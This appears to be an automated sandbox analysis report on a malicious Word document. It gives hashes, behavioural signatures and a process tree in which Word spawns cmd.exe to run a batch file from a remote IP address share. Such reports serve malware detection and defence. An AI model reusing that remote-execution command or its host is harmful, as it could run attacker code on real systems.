Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    14-05-2024 16:12

General

  • Target

    4232fc770b2046a48fde1f01c9c487529bec37e87613ad7e77ff9f0adb713f02.doc

  • Size

    558KB

  • MD5

    3afb331dcc492210d0030a911211d690

  • SHA1

    51606c7b96c32d20ef4f6c7cc751120b2b40a09c

  • SHA256

    4232fc770b2046a48fde1f01c9c487529bec37e87613ad7e77ff9f0adb713f02

  • SHA512

    c27089aa73b500acdd6d8f3df4dc3dab228da91cca7ee68a0acdc4625e07cc5db7e602d63ba16c0818c176d40076b042a28ca37e2ef70dd2858a60b803d9e590

  • SSDEEP

    12288:1+nE2k3y/xtOFWykjXzcUMP4xmFhNllV3hEA1/ri:UE2k3kqWy02PdFhhVxv2

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • NTFS ADS 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4232fc770b2046a48fde1f01c9c487529bec37e87613ad7e77ff9f0adb713f02.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • NTFS ADS
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1848
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2944
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo off
        2⤵
        • Process spawned unexpected child process
        PID:2548
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c "\\185.213.208.245\bypass\runOnce.bat"
        2⤵
        • Process spawned unexpected child process
        PID:2276
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c exit
        2⤵
        • Process spawned unexpected child process
        PID:2436

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      b0a157decd1e396a261f6216bcbaddbe

      SHA1

      3709229bc934d2f1897045af952efced6e428455

      SHA256

      d967673832e69fadaa089041f57bf906d145bc080e67ee646e82d4cd3343169c

      SHA512

      ce7ade9ee7907d654164b591275dff712a2345a0cc3501ec82c48534d616c9a0afc088b1597cf86b59080a8fb28b7ae09e2d56486bb044ae38b72fd885ea98dd

    • memory/1848-0-0x000000002FD71000-0x000000002FD72000-memory.dmp

      Filesize

      4KB

    • memory/1848-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1848-2-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB

    • memory/1848-13-0x0000000006100000-0x0000000006200000-memory.dmp

      Filesize

      1024KB

    • memory/1848-14-0x0000000006100000-0x0000000006200000-memory.dmp

      Filesize

      1024KB

    • memory/1848-25-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB

    • memory/1848-26-0x0000000006100000-0x0000000006200000-memory.dmp

      Filesize

      1024KB

    • memory/1848-42-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1848-43-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB